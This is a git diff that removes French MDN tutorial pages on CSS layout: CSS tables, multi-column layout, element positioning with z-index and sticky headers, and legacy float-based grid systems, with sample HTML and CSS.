{{ EmbedLiveSample('Sticky_1', '100%', 200) }}

- -
-

Note : pour plus de précisions à propos du positionnement, voir l'article Positionnement.

-
- -

Les tableaux CSS

- -

Les tableaux HTML sont utiles pour afficher des données sous forme de tableaux, mais il y a des années de cela — avant même que les bases des CSS soit prises en charge de manière fiable par les navigateurs — les développeurs web avaient l'habitude d'utiliser les tableaux pour agencer toute la mise en page — y plaçant les en‑têtes, les pieds-de-page, diverses colonnes, etc. en multiples lignes et colonnes de tableaux. Cela fonctionnait en son temps, mais il y avait beaucoup de problèmes — la mise en page par tableau n'est pas souple, très lourde en balisage, difficile à déboguer et sémantiquement erronée (par ex., les utilisateurs de lecteur d'écran avaient des problèmes de navigation avec cette disposition en tableau).

- -

La façon dont un tableau est affiché sur une page web quand vous utilisez le balisage « table » résulte d'un ensemble de propriétés des CSS définissant la composition du tableau. Ces propriétés peuvent être utilisées pour placer des éléments qui ne sont pas des tableaux, utilisation quelquefois désignée sous le vocable « utiliser des tableaux CSS ».

- -

Prenons un exemple. Tout d'abord, un simple balisage qui crée un formulaire HTML. Chaque élément en entrée a une étiquette ; nous avons également inclus une légende à l'intérieur d'un paragraphe. Chaque paire étiquette/entrée est incorporée dans un élément {{htmlelement("div")}} pour les besoins de la mise en page.

- -
<form>
-  <p>Tout d'abord, dites‑nous votre nom et votre âge.</p>
-  <div>
-    <label for="fname">Prénom :</label>
-    <input type="text" id="fname">
-  </div>
-  <div>
-    <label for="lname">Nom :</label>
-    <input type="text" id="lname">
-  </div>
-  <div>
-    <label for="age">Âge :</label>
-    <input type="text" id="age">
-  </div>
-</form>
- -

Maintenant, le CSS pour cet exemple. Le gros de la CSS est plutôt ordinaire, à l'exception de l'utilisation de la propriété {{cssxref("display")}}. Les éléments {{htmlelement("form")}}, {{htmlelement("div")}} et {{htmlelement("label")}} ainsi que {{htmlelement("input")}} ont été configurés pour disposés en tableau, en lignes de tableau et en cellules de tableau respectivement — à la base, ils se comporteront comme dans le cas d'un balisage de tableau HTML, avec pour résultat un bon alignement par défaut entre les étiquettes et le texte. Tout ce qu'il nous reste à faire est d'ajouter un peu d'ampleur, des marges, etc. pour que tout soit agréable visuellement et c'est tout.

- -

Notez que les propriétés display: table-caption; et caption-side: bottom; ont été affectées au paragraphe légende — il sera donc disposé comme une légende de tableau ({{htmlelement("caption")}})  placée en bas de la table pour des raisons de style, même si son balisage est placé avant les éléments input dans le code source. Voilà une bonne dose de souplesse.

- -
html {
-  font-family: sans-serif;
-}
-
-form {
-  display: table;
-  margin: 0 auto;
-}
-
-form div {
-  display: table-row;
-}
-
-form label, form input {
-  display: table-cell;
-  margin-bottom: 10px;
-}
-
-form label {
-  width: 200px;
-  padding-right: 5%;
-  text-align: right;
-}
-
-form input {
-  width: 300px;
-}
-
-form p {
-  display: table-caption;
-  caption-side: bottom;
-  width: 400px;
-  color: #999;
-  font-style: italic;
-}
- -

Ce qui nous donne le résultat suivant:

- -

{{ EmbedLiveSample('Les_tableaux_CSS', '100%', '170') }}

- -

Vous pouvez également examiner cet exemple directement à css-tables-example.html (voyez le code source également).

- -

Disposition sur plusieurs colonnes

- -

Le module mise en page sur plusieurs colonnes permet de placer un contenu en colonnes, telle la présentation de l'enchaînement des textes dans un journal. Bien que la lecture de colonnes de haut en bas soit moins utile dans un contexte Web, car il n'est pas question de forcer les utilisateurs à faire défiler en tous sens le contenu d'écran, la disposition en colonnes peut se révéler une technique utile.

- -

Pour transformer un bloc en conteneur multicolonnes, utilisez soit la propriété {{cssxref("column-count")}} qui indique au navigateur le nombre de colonnes souhaitées, soit la propriété {{cssxref("column-width")}}, qui demande au navigateur de remplir le conteneur d'autant de colonnes de la largeur donnée.

- -

Dans l'exemple ci–dessous, nous démarrons avec un bloc HTML dans un élément conteneur <div> de la classe container.

- -
<div class="container">
-    <h1>Disposition en colonnes</h1>
-
-    <p>Paragraphe 1.</p>
-    <p>Paragraphe 2.</p>
-
-</div>
-
- -

Noux utilisons une propriété column-width de valeur 200 pixels pour ce conteneur ; le navigateur crée autant de colonnes de 200 pixels de large qu'il est possible de faire entrer dans le conteneur, puis il partage l'espace restant entre les colonnes crées.

- -
- - -
    .container {
-        column-width: 200px;
-    }
-
- -

{{ EmbedLiveSample('Multicol_1', '100%', 200) }}

- -

Résumé

- -

Cet article donne un bref résumé de toutes les techniques de mise en page à connaître. Poursuivez la lecture pour en savoir plus à propos de chaque technique !

- -

{{NextMenu("Apprendre/CSS/CSS_layout/Floats", "Apprendre/CSS/CSS_layout")}}

- -

In this module

- - diff --git a/files/fr/apprendre/css/css_layout/le_positionnement/index.html b/files/fr/apprendre/css/css_layout/le_positionnement/index.html deleted file mode 100644 index 54349c6fef..0000000000 --- a/files/fr/apprendre/css/css_layout/le_positionnement/index.html +++ /dev/null @@ -1,558 +0,0 @@ ---- -title: Le positionnement -slug: Apprendre/CSS/CSS_layout/Le_positionnement -tags: - - Agencement - - Article - - CSS - - Codage de script - - Disposition - - Débutant - - Guide - - Mise en page - - Positionnement - - absolu - - fixe - - relatif - - statique -translation_of: Learn/CSS/CSS_layout/Positioning ---- -
{{LearnSidebar}}
- -
{{PreviousMenuNext("Learn/CSS/CSS_layout/Floats", "Apprendre/CSS/CSS_layout/Multiple-column_Layout", "Learn/CSS/CSS_layout")}}
- -

Le positionnement permet de sortir les éléments du cours normal de composition du document, et faire qu'ils se comportent différemment, par exemple de se placer sur un autre, ou de toujours rester à la même place dans le cadre d'affichage (viewport) du navigateur. Cet article explique les diverses valeurs de {{cssxref("position")}}, et comment les utiliser.

- - - - - - - - - - - - -
Prérequis:Les fondamentaux du HTML (étudiez Introduction au HTML), et une idée du fonctionnement de CSS (étudiez Introduction à CSS.)
Objectif:Savoir comment fonctionne le positionnement avec les CSS.
- -

Nous aimerions que vous suiviez, si possible, les exercices sur votre ordinateur — prenez une copie de 0_basic-flow.html sur le dépôt Github (code source ici) et utilisez-le comme point de départ.

- -

Introduction au positionnement

- -

Le positionnement permet de modifier le cours classique de la mise en page pour produire des effets intéressants. Vous souhaitez modifier légèrement le placement de boîtes par rapport à leur position par défaut dans la mise en page, et donner ainsi une touche d'originalité à votre page ? Vous souhaitez créer un élément d'interface utilisateur flottant au‑dessus d'autres parties de la page, et/ou que cet élément reste fixé à la même place dans la fenêtre du navigateur, quel que soit le point de défilement de la page ? Le positionnement est l'outil qu'il vous faut, il rend de tels agencements possibles.

- -

Il y a différents types de positionnement que vous pouvez appliquer à des éléments HTML. Pour utiliser un type particulier de positionnement sur un élément, nous utilisons la propriété {{cssxref("position")}}.

- -

Positionnement « static »

- -

Le positionnement static est celui reçu par défaut par chaque élément — cela veut tout simplement dire « positionner l'élément selon le cours normal de placement — rien de spécial à voir ici ».

- -

Pour le démontrer et avoir préparer un premier exemple pour les prochaines sections, ajoutez tout d'abord une classe positioned pour le deuxième {{htmlelement("p")}} dans le HTML:

- -
<p class="positioned"> ... </p>
- -

Puis ajoutez la règle suivante au bas de votre CSS:

- -
.positioned {
-  position: static;
-  background: yellow; }
- -

Si maintenant vous sauvegardez et actualisez, vous verrez qu'il n'y a aucune différence, à l'exception de la mise à jour de la couleur de l'arrière-plan du deuxième paragraphe. C'est correct, comme nous l'avons vu plus tôt, le positionnement statique est le comportement par défaut !

- -
-

Remarque : ce lien 1_static-positioning.html (voir le code source) pointe sur un exemple de positionnement « static ».

-
- -

Positionnement « relative »

- -

Le positionnement relatif est le premier type de positionnement que nous allons étudier. Il est très similaire au positionnement statique. Cependant, une fois que l'élément positionné occupe une place dans le cours normal de la mise en page, vous pourrez modifier sa position finale. Vous pourrez par exemple le faire chevaucher d'autres éléments de la page. Poursuivons : mettez à jour la déclaration de position dans le code :

- -
position: relative;
- -

Si vous sauvegardez et actualisez à ce stade, vous ne verrez aucun changement dans le résultat. Alors, comment modifier la position de l'élément ? Vous avez besoin d'employer les propriétés {{cssxref("top")}}, {{cssxref("bottom")}}, {{cssxref("left")}} et {{cssxref("right")}} dont nous parlerons dans le prochain paragraphe.

- -

Présentation de « top », « bottom », « left » et « right »

- -

{{cssxref("top")}}, {{cssxref("bottom")}}, {{cssxref("left")}} et {{cssxref("right")}} sont utilisés conjointement à {{cssxref("position")}} pour définir exactement là où placer l'élément positionné. Pour le tester, ajoutez les déclarations suivantes à la règle .positioned dans la CSS :

- -
top: 30px;
-left: 30px;
- -
-

Remarque : les valeurs de ces propriétés peuvent prendre n'importe quelle unité logiquement attendue — pixels, mm, rem, %, etc.

-
- -

Si vous enregistrez et actualisez maintenant, vous verrez ce résultat :

- -
- -
- -

{{ EmbedLiveSample('example_1', '100%', 500) }}

- -

Cool, n'est-ce-pas ? Oui, mais ce n'était probablement pas ce à quoi vous vous attendiez. Pourquoi le déplacement s'est‑il effectué vers le bas et à droite si nous avons défini top (haut) et left (gauche) ? Même si cela peut paraître illogique, c'est la façon dont fonctionne le positionnement relatif. Songez à une force invisible poussant le côté spécifié de l'élément à positionner, le déplaçant ainsi dans la direction opposé. Par exemple, si nous spécifions top: 30px;, une force pousse le haut de la boîte, entraînant son déplacement vers le bas de 30px.

- -
-

Remarque: à ce stade de l'article, vous pouvez retrouver un exemple ici 2_relative-positioning.html (voir le code source).

-
- -

Positionnement « absolute »

- -

Le positionnement absolu nous apporte des résultats bien différents. Modifions la déclaration de position dans le code :

- -
position: absolute;
- -

Si vous enregistrez et actualisez maintenant, vous verrez quelque chose comme ceci apparaitre :

- -
- -
- -

{{ EmbedLiveSample('example_2', '100%', 420) }}

- -

Tout d'abord, notez que l'emplacement où l'élément à positionner aurait dû se trouver dans le cours normal de la mise en page du document ne s'y trouve plus. Le premier élément et le troisième sont l'un à côté de l'autre comme si le second n'existait plus ! Dans un sens, c'est le cas. Un élément positionné de manière absolue ne fait plus partie du cours normal de la mise en page. Il se trouve maintenant sur un plan qui lui est propre, séparé de tout le reste. C'est très utile : cela signifie que nous pouvons créer une fonctionnalité d'interface graphique isolée qui n'interfère pas avec la position des autres éléments sur la page. Par exemple, des boîtes d'informations contextuelles (popup), des menus de contrôle, des panneaux déroulants (rollover panels), des fonctionnalités d'interface utilisateur que l'on peut glisser et déposer n'importe où sur la page, et bien plus encore.

- -

Ensuite, notez que la position de l'élément a changé. {{cssxref("top")}}, {{cssxref("bottom")}}, {{cssxref("left")}} et {{cssxref("right")}} se comportent différemment avec le positionnement absolu. Au lieu de positionner l'élément en fonction de sa position relative dans la mise en page du document, ils définissent la distance à laquelle l'élément doit se situer par rapport aux côtés de l'élément contenant. Dans ce cas, nous indiquons que l'élément à positionner de manière absolue doit se placer à 30px du haut et à 30px de la gauche de « l'élément conteneur ». (Dans ce cas, le bloc conteneur initial. Voir la section ci-dessous pour plus d'information)

- -
-

Note : vous pouvez utiliser {{cssxref("top")}}, {{cssxref("bottom")}}, {{cssxref("left")}} et {{cssxref("right")}} pour redimensionner les éléments selon vos besoins. Définissez top: 0; bottom: 0; left: 0; right: 0; et margin: 0; sur les éléments à positionner et voyez ce qu'il se produit ! Réinitialisez le tout ensuite...

-
- -
-

Note : Les marges affectent toujours les éléments à positionner. Toutefois, la fusion de marges ne se fait pas.

-
- -
-

Note : à ce stade de l'article, vous pouvez voir un exemple ici 3_absolute-positioning.html (voir le code source).

-
- -

Contextes de positionnement

- -

Quel élément est « le conteneur » d'un élément positionné de manière absolue ? Par défaut, c'est l'élément {{htmlelement("html")}} — l'élément à position absolue est imbriqué dans l'élément {{htmlelement("body")}} dans le code source HTML, mais dans le rendu final, il est éloigné de 30px du haut et de la gauche du bord de page, qui est l'élément {{htmlelement("html")}}. Cela s'appelle plus précisément le contexte de positionnement de l'élément.

- -

Nous pouvons changer ce contexte de positionnement — par rapport à quel élément est placé l'élément à positionner en absolu. Cela s'effectue en définissant le positionnement sur un des autres éléments parents — un des éléments dans lequel il est imbriqué (vous ne pouvez pas le positionner par rapport à un élément dans lequel il n'est pas imbriqué). Pour l'illustrer, ajoutez la déclaration suivante à la règle body:

- -
position: relative;
- -

Cela devrait donner le résultat suivant:

- -
- -
- -

{{ EmbedLiveSample('example_3','100%', 420) }}

- -

À présent, l'élément a été positionné par rapport à l'élément {{htmlelement("body")}}.

- -
-

Note : à ce stade, vous pouvez voir cet exemple ici 4_positioning-context.html (voir le code source).

-
- -

Présentation du z-index

- -

Tout ce positionnement absolu est amusant, mais il y a autre chose que nous n'avons pas encore considéré — quand les éléments se chevauchent, comment est déterminé l'élément apparaissant au-dessus d'un autre ? Dans les exemples vus jusqu'à présent, nous n'avions qu'un seul élément à positionner dans le contexte ; il apparaissait en haut, car les éléments positionnés l'emportent sur les éléments non positionnés. Qu'en est‑il lorsqu'il y en a plus d'un ?

- -

Ajoutez le code suivant à la CSS, pour faire en sorte que le premier paragraphe soit aussi en positionnement absolu :

- -
p:nth-of-type(1) {
-  position: absolute;
-  background: lime;
-  top: 10px;
-  right: 30px;
-}
- -

A ce stade, vous verrez le premier paragraphe coloré en vert, déplacé hors du cours normal des documents et positionné un peu au-dessus de l'endroit où il se trouvait à l'origine. Il est également empilé sous le paragraphe .positioned original, là où les deux se chevauchent. C'est parce que le paragraphe .positioned est le deuxième paragraphe dans l'ordre du code source ; les éléments positionnés en dernier dans l'ordre du code source l'emportent sur les éléments positionnés plus en amont dans l'ordre du code source.

- -

Est‑il possible de changer l'ordre d'empilement ? Oui, vous le pouvez avec la propriété {{cssxref("z-index")}}. « z-index » est une référence à l'axe z. Vous vous souvenez peut-être de points précédents du source où nous avons discuté des pages Web en utilisant des coordonnées horizontales (axe des x) et verticales (axe des y) pour déterminer le positionnement de choses comme les images de fond et les décalages d'ombres portées. (0,0) est en haut à gauche de la page (ou de l'élément), et les axes x et y vont respectivement vers la droite et vers le bas de la page (pour les langues s'écrivant de gauche à droite, en tout cas).

- -

Les pages Web ont aussi un axe z : une ligne imaginaire qui va de la surface de votre écran, vers votre visage (ou tout ce que vous aimez avoir devant l'écran). Les valeurs de {{cssxref("z-index")}}} affectent l'emplacement des éléments positionnés sur cet axe ; les valeurs positives les déplacent vers le haut de la pile, et les valeurs négatives les déplacent vers le bas de la pile. Par défaut, les éléments positionnés ont tous un z-index  auto, qui est effectivement 0.

- -

Pour modifier l'ordre d'empilement, ajoutez la déclaration suivante à la règle p:nth-of-type(1) :

- -
z-index: 1;
- -

Voici maintenant l'exemple terminé :

- -
- -
- -

{{ EmbedLiveSample('example_4', '100%', 400) }}

- -

Notez que z-index n'accepte que des valeurs d'index sans unité ; vous ne pouvez pas préciser que vous voulez qu'un élément soit à 23 pixels sur l'axe des z — cela ne fonctionne pas ainsi. Les plus grandes valeurs vont au‑dessus des valeurs plus faibles et c'est à vous d'indiquer les valeurs. Utiliser 2 et 3 aura le même effet que 300 et 40000.

- -
-

Note : sur ce sujet, vous pouvez voir l'exemple 5_z-index.html (voir le code source).

-
- -

Positionnement « fixed »

- -

Voyons maintenant le positionnement « fixed ». Cela fonctionne exactement de la même manière que le positionnement absolu, avec une différence essentielle : alors que le positionnement absolu fixe un élément en place par rapport à l'élément {{htmlelement("html")}} ou son parent positionné le plus proche, le positionnement « fixed » fige un élément en place par rapport à la vue par la fenêtre du navigateur elle-même. Cela signifie que vous pouvez créer des éléments d'interface utilisateur utiles qui sont fixés en place, comme des menus de navigation persistants.

- -

Voici un exemple simple pour montrer ce que nous voulons dire. D'abord, supprimez la règle de p:nth-of-type(1) et .positioned de la CSS.

- -

Maintenant, mettez à jour la règle body : supprimez la déclaration position : relative ; et ajoutez une hauteur fixe, ainsi :

- -
body {
-  width: 500px;
-  height: 1400px;
-  margin: 0 auto;
-}
- -

Maintenant, donnez la position fixed à l'élément {{htmlelement("h1")}} et centrez‑le en haut de la fenêtre. Ajoutez la règle suivante à la CSS :

- -
h1 {
-  position: fixed;
-  top: 0;
-  width: 500px;
-  margin: 0 auto;
-  background: white;
-  padding: 10px;
-}
- -

top: 0; est requis pour qu'il colle au haut de l'écran ; ensuite nous donnons au titre d'en‑tête la même largeur que la colonne de contenu et utilisons la vieille astuce classique margin: 0 auto; pour le centrer. Nous mettons ensuite un fond blanc et un peu de remplissage pour que le contenu ne soit pas visible sous lui.

- -

Si vous enregistrez et actualisez maintenant, vous verrez un petit effet amusant par lequel le titre reste fixe et le contenu semble défiler vers le haut et disparaître en dessous. Mais nous pouvons l'améliorer davantage — actuellement, une partie du contenu commence sous l'en‑tête. En effet, l'en-tête positionné n'apparaît plus dans le cours du document, de sorte que le reste du contenu se déplace vers le haut. Nous devons tout baisser un peu ; nous pouvons le faire en fixant une marge supérieure sur le premier paragraphe. Ajoutez ceci maintenant :

- -
p:nth-of-type(1) {
-  margin-top: 60px;
-}
- -

Voici l'exemple terminé :

- -
- -
- -

{{ EmbedLiveSample('example_5', '100%', 400) }}

- -
-

Note : à ce stade de l'article, vous pouvez voir un exemple en direct ici  6_fixed-positioning.html (voir le code source).

-
- -

« position: sticky »

- -

Il y a une autre valeur de positionnement disponible appelée position : sticky. Elle est un peu plus récente que les autres. Il s'agit essentiellement d'un hybride entre position relative et position fixe : l'élément à positionner est en positionnement relatif jusqu'à un certain seuil (par ex. 10px du haut de la fenêtre), seuil au delà duquel il est en positionnement fixe. Ce positionnement s'utilise par exemple pour faire défiler une barre de navigation avec la page jusqu'à un certain point et ensuite coller en haut de la page.

- -
- - -
.positioned {
-  position: sticky;
-  top: 30px;
-  left: 30px;
-}
-
- -

{{ EmbedLiveSample('Sticky_1', '100%', 200) }}

- -

Une utilisation courante pleine d'intérêt de position: sticky permet de créer une page d'index déroulante dans laquelle les divers en‑tête restent collés en haut de la page une fois qu'ils l'ont atteint. Le balisage d'un exemple de ce type ressemble à ceci :

- -
<h1>Positionnement collant</h1>
-
-<dl>
-    <dt>A</dt>
-    <dd>Abeille</dd>
-    <dd>Abricot</dd>
-    <dd>Altimètre</dd>
-    <dd>Avion</dd>
-    <dt>B</dt>
-    <dd>Banane</dd>
-    <dd>Betterave</dd>
-    <dd>Bœuf</dd>
-    <dd>Bouvreuil</dd>
-    <dd>Buzzard</dd>
-    <dt>C</dt>
-    <dd>Calculateur</dd>
-    <dd>Camera</dd>
-    <dd>Cane</dd>
-    <dd>Chameau</dd>
-    <dt>D</dt>
-    <dd>Dime</dd>
-    <dd>Dindon</dd>
-    <dd>Drapeau</dd>
-    <dd>Drone</dd>
-    <dt>E</dt>
-    <dd>Eau</dd>
-    <dd>Éléphant</dd>
-    <dd>Escadrille</dd>
-</dl>
-
- -

Le CSS pourrait ressembler à ce qui suit. Dans le cours normal, les éléments {{htmlelement("dt")}} défilent avec le contenu. Quand on ajoute position : sticky à l'élément {{htmlelement("dt")}} avec une valeur {{cssxref("top")}} de 0, les navigateurs prenant en charge ce positionnement colleront les titres au sommet de la vue de la fenêtre au fur et à mesure qu'ils atteignent cette position. Chaque en-tête suivant remplacera l'en-tête précédent au fur et à mesure que le contenu défile.

- -
dt {
-  background-color: black;
-  color: white;
-  padding: 10px;
-  position: sticky;
-  top: 0;
-  left: 0;
-  margin: 1em 0;
-}
-
- -
- -
- -

{{ EmbedLiveSample('Sticky_2', '100%', 200) }}

- -
-

Note : à ce stade de l'article, vous pouvez voir un exemple en direct ici 7_sticky-positioning.html (voir le code source).

-
- -

Résumé

- -

Je suis sûr que vous avez eu du plaisir à jouer avec le positionnement de base ; bien que ce ne soit pas une méthode à utiliser pour des mises en page complètes, comme vous pouvez le voir il y a beaucoup de tâches pour lesquelles il est adapté.

- -

{{PreviousMenuNext("Learn/CSS/CSS_layout/Floats", "Learn/CSS/CSS_layout/Multiple-column_Layout", "Learn/CSS/CSS_layout")}}

- -

Voir aussi

- - - -

Dans ce module

- - diff --git a/files/fr/apprendre/css/css_layout/legacy_layout_methods/index.html b/files/fr/apprendre/css/css_layout/legacy_layout_methods/index.html deleted file mode 100644 index d778686c58..0000000000 --- a/files/fr/apprendre/css/css_layout/legacy_layout_methods/index.html +++ /dev/null @@ -1,585 +0,0 @@ ---- -title: Méthodes de mises en page traditionnelles -slug: Apprendre/CSS/CSS_layout/Legacy_Layout_Methods -tags: - - Apprendre - - Boîtes flottantes - - CSS - - Disposition - - Débutant - - Guide - - Héritage - - systèmes de trames -translation_of: Learn/CSS/CSS_layout/Legacy_Layout_Methods ---- -
{{LearnSidebar}}
- -

{{PreviousMenuNext("Learn/CSS/CSS_layout/Multiple-Column_Layout", "Learn/CSS/CSS_layout/Supporting_Older_Browsers", "Learn/CSS/CSS_layout")}}

- -

Les systèmes de trames sont courants dans les mises en page avec une CSS, mais avant la création de l'application « CSS Grid Layout », ces mises en page  étaient mises en œuvre à l'aide de boîtes flottantes ou autres. Vous imaginiez votre mise en page sous la forme d'un nombre fixe de colonnes (par exemple 4, 6 ou 12), puis insériez des colonnes de contenu dans ces colonnes imaginaires. Dans cet article, nous allons explorer le fonctionnement de ces méthodes traditionnelles anciennes pour que vous compreniez comment elles sont utilisées si vous travaillez sur un projet ancien.

- - - - - - - - - - - - -
Prérequis:Les fondamentaux du HTML (voyez Introduction au HTML) et une idée du fonctionnement de CSS (voyez Introduction à CSS et Styles de boîtes).
Objectif:Comprendre les concepts fondamentaux derrière les systèmes de disposition en trame utilisés avant que CSS Grid Layout soit disponible dans les navigateurs.
- -

Mise en page et systèmes de trames avant CSS Grid Layout

- -

Il peut sembler surprenant pour un désigner web que les CSS n'avaient pas de système de disposition en trame intégré jusqu'à peu. Au lieu de cela, nous utilisions diverses méthodes peu performantes pour créer des designs à trames. Nous appelerons maintenant ces méthodes « méthodes héritées ».

- -

Pour les nouveaux projets, dans la plupart des cas, CSS Grid Layout forme la base de toute mise en page en combinaison avec une ou plusieurs autres méthodes modernes. Vous rencontrerez cependant de temps en temps des « systèmes de trame » utilisant ces méthodes héritées. Il est intéressant de comprendre comment elles fonctionnent et en quoi elles différent de CSS Grid Layout.

- -

Cette leçon explique comment fonctionnent les systèmes et les cadres de trames se fondant sur des boîtes flottantes et Flexbox. Après avoir étudié « Grid Layout », vous serez probablement surpris de voir à quel point tout cela semble compliqué ! Ces connaissances vous seront utile si vous avez besoin de créer du code de recours pour les navigateurs qui ne prenent pas en charge les nouvelles méthodes ; de plus, elles vous permettront de travailler sur des projets existants qui utilisent ces types de systèmes.

- -

Gardons présent à l'esprit, en explorant ces systèmes, qu'aucun d'entre eux ne crée réellement une trame de la même manière que CSS Grid Layout. Leur mode de fonctionnement consiste à donner une taille aux objets et à les pousser pour les aligner d'une manière figurant une trame.

- -

Disposition sur deux colonnes

- -

Débutons avec l'exemple le plus simple qui soit — une disposition sur deux colonnes. Vous pouvez suivre en créant un nouveau fichier index.html sur l'ordinateur, en le remplissant avec le modèle HTML simple et en y insérant le code ci-dessous aux endroits appropriés. À la fin du paragraphe, vous verrez un exemple en direct de ce à quoi devrait ressembler le code final.

- -

Tout d'abord, nous avons besoin de contenu à mettre dans nos colonnes. Remplacez ce qui se trouve à l'intérieur de body par ceci :

- -
<h1>Exemple de disposition sur 2 colonnes</h1>
-<div>
-  <h2>Première colonne</h2>
-  <p> Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat vulputate. Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci vel, viverra egestas ligula. Curabitur vehicula tellus neque, ac ornare ex malesuada et. In vitae convallis lacus. Aliquam erat volutpat. Suspendisse ac imperdiet turpis. Aenean finibus sollicitudin eros pharetra congue. Duis ornare egestas augue ut luctus. Proin blandit quam nec lacus varius commodo et a urna. Ut id ornare felis, eget fermentum sapien.</p>
-</div>
-
-<div>
-  <h2>Seconde colonne</h2>
-  <p>Nam vulputate diam nec tempor bibendum. Donec luctus augue eget malesuada ultrices. Phasellus turpis est, posuere sit amet dapibus ut, facilisis sed est. Nam id risus quis ante semper consectetur eget aliquam lorem. Vivamus tristique elit dolor, sed pretium metus suscipit vel. Mauris ultricies lectus sed lobortis finibus. Vivamus eu urna eget velit cursus viverra quis vestibulum sem. Aliquam tincidunt eget purus in interdum. Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus.</p>
-</div>
- -

Chacune de ces colonnes nécessite un élément extérieur conteneur du dit contenu et manipulons‑le en bloc.. Dans notre exemple, nous avons choisi des éléments {{htmlelement("div")}}, mais vous auriez pu choisir n'importe quoi d'autre sémantiquement approprié comme un élément  {{htmlelement("article")}}, {{htmlelement("section")}} ou {{htmlelement("aside")}} ou tout autre.

- -

Pour la CSS maintenant appliquons ce qui suit au HTML comme base de configuration :

- -
body {
-  width: 90%;
-  max-width: 900px;
-  margin: 0 auto;
-}
- -

Le corps du document prendra 90% de la largeur de fenêtre de la vue jusqu'à atteindre 900px de large ; au delà, il restera fixe à cette largeur et se centrera lui-même dans la fenêtre. Par défaut, ses enfants (les éléments {{htmlelement("h1")}}} et les deux {{htmlelement("div")}}) prenent 100% de la largeur du corps. Si nous voulons que les deux {{htmlelement("div")}} flottent l'un à côté de l'autre, nous devons fixer la somme de leur largeurs à 100% de la largeur totale de leur parent ou moins pour qu'ils puissent se placer l'un à côté de l'autre. Ajoutez ceci au bas de la CSS :

- -
div:nth-of-type(1) {
-  width: 48%;
-}
-
-div:nth-of-type(2) {
-  width: 48%;
-}
- -

Ici nous faisons en sorte que chaque élément représente 48% de la largeur du parent — soit 96% au total, laissant 4% libres pour jouer le rôle de gouttière entre les deux colonnes et leur donner un peu d'air. Maintenant nous avons juste à faire flotter les deux colonnes ainsi :

- -
div:nth-of-type(1) {
-  width: 48%;
-  float: left;
-}
-
-div:nth-of-type(2) {
-  width: 48%;
-  float: right;
-}
- -

En mettant tout ensemble, voici le résultat :

- -
- -
- -

{{ EmbedLiveSample('Floated_Two_Col', '100%', 520) }}

- -

Notez que nous avons utilisé des pourcentages pour définir les largeurs — c'est la bonne stratégie, cela crée une disposition fluide, s'ajustant à diverses tailles d'écran et gardant les mêmes proportions pour les tailles d'écran plus petites. Modifiez la taille de la fenêtre du navigateur pour voir par vous‑même. C'est un outil adapté au désign web adaptatif.

- -
-

Note : Vous pouvez voir cet exemple en cours à la page 0_two-column-layout.html (voyez aussi son  code source).

-
- -

Ancienne création d'un cadre de trames

- -

La plupart des anciens cadres de création de trames utilisaient le comportement de la propriété {{cssxref("float")}} pour faire flotter les colonnes les unes à côté des autres pour créer quelque chose qui ressemble à des trames. Travailler le processus de création d'une trame avec des boîtes flottantes vous en montre le fonctionnement et sert également d'introduction à certains concepts plus avancés pour construire les choses apprises dans la leçon sur le dégagement des boîtes flottantes.

- -

Le type de cadre de trames le plus facile à créer est un cadre de largeur fixe — il faut simplement déterminer la largeur totale du désign, le nombre de colonnes voulues et la largeur des gouttières et des colonnes. Si nous décidons plutôt de disposer ce design sur une trame avec des colonnes s'adaptant à la largeur de vue du navigateur, nous devrons  calculer les pourcentages de largeur des colonnes et celui des gouttières entre colonnes.

- -

Dans les paragraphes suivants, nous verrons comment créer ces deux types. Nous allons faire une trame à 12 colonnes — un choix courant considéré comme adaptable à diverses situations étant donné que 12 est bien divisible par 6, 4, 3 et 2.

- -

Une simple trame de largeurs fixes

- -

Créons d'abord une trame à colonnes à largeur fixe.

- -

Commençons par faire une copie locale du fichier exemple simple-grid.html qui comporte le balisage suivant dans body.

- -
<div class="wrapper">
-  <div class="row">
-    <div class="col">1</div>
-    <div class="col">2</div>
-    <div class="col">3</div>
-    <div class="col">4</div>
-    <div class="col">5</div>
-    <div class="col">6</div>
-    <div class="col">7</div>
-    <div class="col">8</div>
-    <div class="col">9</div>
-    <div class="col">10</div>
-    <div class="col">11</div>
-    <div class="col">12</div>
-  </div>
-  <div class="row">
-    <div class="col span1">13</div>
-    <div class="col span6">14</div>
-    <div class="col span3">15</div>
-    <div class="col span2">16</div>
-  </div>
-</div>
- -

Le but est d'en faire une trame de démonstration sur deux lignes à partir des 12 colonnes — la ligne haute montre la taille de colonnes prises isolément, la ligne basse montre des zones de taille différentes à partir de cette trame.

- -

- -

À l'élément {{htmlelement("style")}}, ajoutons le code ci-après. Il donne une largeur de 980 pixels au conteneur enveloppe avec un remplissage de 20 pixels du côté droit. Cela nous laisse 960 pixels comme largeur totale pour les colonnes et les gouttières — dans ce cas, le remplissage est soustrait à la largeur totale du contenu car nous avons fixé la valeur de  {{cssxref("box-sizing")}} à border-box sur tous les éléments du site (voir Modification totale du modèle de boîte pour plus d'explications).

- -
* {
-  box-sizing: border-box;
-}
-
-body {
-  width: 980px;
-  margin: 0 auto;
-}
-
-.wrapper {
-  padding-right: 20px;
-}
- -

Utilisez maintenant le conteneur enveloppe de chaque ligne de la trame pour dissocier et dégager chaque ligne. Ajoutez la règle suivante sous la règle précédente :

- -
.row {
-  clear: both;
-}
- -

Appliquer ce dégagement signifie que nous n'avons pas besoin de remplir totalement chaque rangée (ligne) d'éléments remplissant totalement les douze colonnes. Les lignes resteront séparées et n'interfèreront pas entre elles.

- -

Les gouttières entre colonnes ont une largeur de 20 px. Ces gouttières sont faites en créant un marge du côté droit de chaque colonne ‑ y compris la première pour compenser le remplissage de 20 pixels du côté droit du conteneur. Nous avons donc 12 gouttières en tout — 12 x 20 = 240.

- -

Il convient de soustraire cela de la largeur totale de 960 pixels, ce qui laisse 720 pixels pour les colonnes. En divisant par 12, nous voyons que chaque colonne aura une largeur de 60 pixels.

- -

L'étape suivante consiste à créer un règle pour la classe .col la faisant flotter à gauche lui laissant une marge gauche de {{cssxref("margin-left")}} de 20 pixels formant la gouttière et  une largeur {{cssxref("width")}} de 60 pixels. Ajoutez la règle suivante en fin de la CSS :

- -
.col {
-  float: left;
-  margin-left: 20px;
-  width: 60px;
-  background: rgb(255, 150, 150);
-}
- -

La ligne supérieure des colonnes unitaires est maintenant disposées en tant que trame.

- -
-

